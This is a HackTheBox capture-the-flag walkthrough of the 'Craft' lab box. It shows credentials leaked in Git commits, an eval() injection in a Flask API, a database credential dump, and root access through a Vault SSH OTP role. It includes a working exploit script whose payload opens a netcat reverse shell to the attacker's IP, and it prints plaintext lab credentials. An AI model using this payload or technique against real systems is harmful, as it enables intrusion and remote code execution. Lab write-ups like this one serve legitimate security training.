HackTheBox - Craft

10 minute read

Craft was a fun 30 point box created by rotarydrone. It started out with finding and exploiting the Python eval() function in a flask API application via exposed source code in Gogs to get a shell as root in a docker container. We then dump the user table of a MySQL database via a Python script to get credentials and log in via SSH to get user, and finally abusing vault SSH to get root using a OTP.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.110 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.110

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=1/7%Time=5E14C3FA%P=x86_64-pc-linux-gnu%r(NUL
SF:L,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


HTTPS


Checking out https://10.10.10.110 we come across the following page:


Hovering over the two buttons in the top right hand corner you’ll see they are links to https://api.craft.htb/api/ and https://gogs.craft.htb/.

I added the api.craft.htb and gogs.craft.htb subdomains to my /etc/hosts file alongside the craft.htb domain:

# cat /etc/hosts
...
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.110  craft.htb api.craft.htb gogs.craft.htb


api.craft.htb


Browsing to https://api.craft.htb/api/ will lead you to this page:


Checking out the https://api.craft.htb/api/swagger.json link in the top left hand corner leads us to a JSON swagger feed where we can see the following information regarding an authorization token, a username, and a password:


We clearly need more information in order to proceed on this subdomain. I decided to check out gogs.craft.htb and continue my enumeration.


gogs.craft.htb


The gogs.craft.htb subdomain is running Gogs.

This project aims to build a simple, stable and extensible self-hosted Git service that can be setup in the most painless way. With Go, this can be done with an independent binary distribution across ALL platforms that Go supports, including Linux, macOS, Windows and ARM.

When navigating to https://gogs.craft.htb we’re greeted with the default welcome page that looks like the following:


From here I clicked Explore which leads us to a page showing the repositories available on gogs.craft.htb.


Repositories


Explore shows a page containing a repository, Craft / craft-api:


It is common for sensitive information to be unintentionally leaked in Git repositories. With this in mind I started digging through the repo.

Clicking on the repository leads you to this page:


The first thing that caught my eye was dbtest.py, shown below:

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

There wasn’t much use for it at this stage in the box but I made note of it and continued enumerating.

The app.py file also caught my eye as it appears the api application on https://api.craft.htb was developed using flask, a Python micro web framework for building web applications.


Commits


Checking out the commits for various files in the repository, I came across some sensitve information dinesh had accidentally included in the tests/test.py file:


You can see above that the following line was changed in the commit:

-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

We now possess the credentials required to authorize with the craft-api application. However we’re still missing some sort of vulnerability/weakness in the application in order to exploit it and get a shell.


brew.py


After browsing the repository I came across brew.py at the following path /craft_api/api/brew/endpoints/brew.py. The contents of the file included functionality for the brew/ section of api.craft.htb/api.

The code includes some typical functions but the following one is of particular interest:

    def post(self):
        """
        Creates a new brew entry.
        """

        # make sure the ABV value is sane.
        if eval('%s > 1' % request.json['abv']):
            return "ABV must be a decimal value less than 1.0", 400
        else:
            create_brew(request.json)
            return None, 201

The application is using the Python eval() function on the abv parameter used by the API. eval() has a pretty significant vulnerability which will allow us to obtain RCE.


eval()


Python has a number of built-in functions and eval() is one of them, more information can be found here.

eval() is primarily used in applications that need to evaluate mathematical expressions, as in this case for the abv value in the craft API.

CWE-95 does a great job in explaining the problem here:

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. “eval”). This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.


Exploitation


We now know the abv parameter of the brew API is vulnerable to this type of attack. This article includes payloads we can use to acheive RCE.

After testing a couple of examples in the Kali Python terminal I decided upon the following payload:

__import__('os').system('nc 10.10.14.45 443 -e /bin/sh')

All we have to do now is authenticate with the dinesh credentials and interact with the abv parameter of the brew API so we can inject our payload.


Shell


I used the test.py script to interact with the brew API. I added minor modifications to include the dinesh credentials and the payload for the Python eval() function in order to exploit the application and get a shell.

I’ve included the script below and marked the additions I made for the credentials and the eval injection:

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) # creds added 
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__(\'os\').system(\'nc 10.10.14.45 443 -e /bin/sh\')' # eval injection
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

Running the test.py script with a netcat listener I quickly received a shell:


We land in a root shell which appears to be a docker container.


MySQL


After running /bin/sh -i to get a workable shell, I noticed the dbtest.py script from earlier was in the current working directory:

/opt/app # ls -la
total 32
drwxr-xr-x    5 root     root          4096 Feb 10  2019 .
drwxr-xr-x    1 root     root          4096 Feb  9  2019 ..
drwxr-xr-x    8 root     root          4096 Feb  8  2019 .git
-rw-r--r--    1 root     root            18 Feb  7  2019 .gitignore
-rw-r--r--    1 root     root          1585 Feb  7  2019 app.py
drwxr-xr-x    5 root     root          4096 Feb  7  2019 craft_api
-rwxr-xr-x    1 root     root           673 Feb  8  2019 dbtest.py
drwxr-xr-x    2 root     root          4096 Feb  7  2019 tests

The dbtest.py script:

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

I ran the script with the default SQL command it was using:

SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1

I received the following information as a response:

/opt/app # python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}

Editing the script’s SQL statement allows you to enumerate the database. After playing with the script for a while I managed to dump some credentials from the user table using the simple SQL statement shown below:

...
try:
    with connection.cursor() as cursor:
        sql = "select `*` from `user`"
...        


Credentials


Running the script prints the following set of credentials:

/opt/app # python user.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, 
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, 
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]


Gogs


None of the credentials worked for either of the SSH ports. They did however allow me to login to the Gogs interface.

The dinesh and ebachman accounts didn’t really provide any useful information. The gilfoyle account however did have some sensitive info as he had access to the repo for the Craft Infrastructure (craft-infra).


This repository contained an .ssh directory with an id_rsa private key:



SSH


I gave the key the correct permissions but was prompted for a password when connecting. I guessed the passphrase using the ZEU3N8WNM2rh4T password from the database dump and successfully logged in:

# chmod 400 gilfoyle_key
# ssh -i gilfoyle_key gilfoyle@10.10.10.110


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key 'gilfoyle_key': ZEU3N8WNM2rh4T
gilfoyle@craft:~$


Flag


As gilfoyle you can simply cat the user flag:

gilfoyle@craft:~$ id
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt 
bbf4b0...


Root.txt

Vault


When finding the SSH key in the gilfoyle Gogs account I noticed a reference to Vault.

The bash script secrets.sh in the Vault directory stood out:

#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

Googling vault ssh led me to vaultproject.io which gives the following description:

The Vault SSH secrets engine provides secure authentication and authorization for access to machines via the SSH protocol. The Vault SSH secrets engine helps manage access to machine infrastructure, providing several ways to issue SSH credentials.

There are a couple of different ways we can get root here but I decided to create a root OTP and authenticate with it, which then drops you into a root SSH shell.

Using the vault command with ssh and the -h flag you’re able to see some of the functionality available to you:

gilfoyle@craft:~$ vault ssh -h                                                                                                                                            
Usage: vault ssh [options] username@ip [ssh options]                                                                                                                      
                                                                                                                                                                          
  Establishes an SSH connection with the target machine.                                                                                                                  
                                                                                                                                                                          
  This command uses one of the SSH secrets engines to authenticate and                                                                                                    
  automatically establish an SSH connection to a host. This operation requires                                                                                            
  that the SSH secrets engine is mounted and configured.                                                                                                                  
                                                                                                                                                                          
  SSH using the OTP mode (requires sshpass for full automation):                                                                                                          
                                                                                                                                                                          
      $ vault ssh -mode=otp -role=my-role user@1.2.3.4                                                                                                                     

SSH using the OTP mode is what’s required to get root.


Vault OTP


From the secrets.sh file earlier we know our role is root_otp. The command for this specific instance is then as follows:

vault ssh -mode=otp -role=root_otp root@127.0.0.1

Now all you have to do is run the command and use the OTP it gives you as the Password and you’ll drop into a root shell.

gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 18c07f78-849e-0356-ce41-a5f07a552e8a


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)


Flag


We can simply cat the flag and we get root.

root@craft:~# cat /root/root.txt 
831d64...
root@craft:~#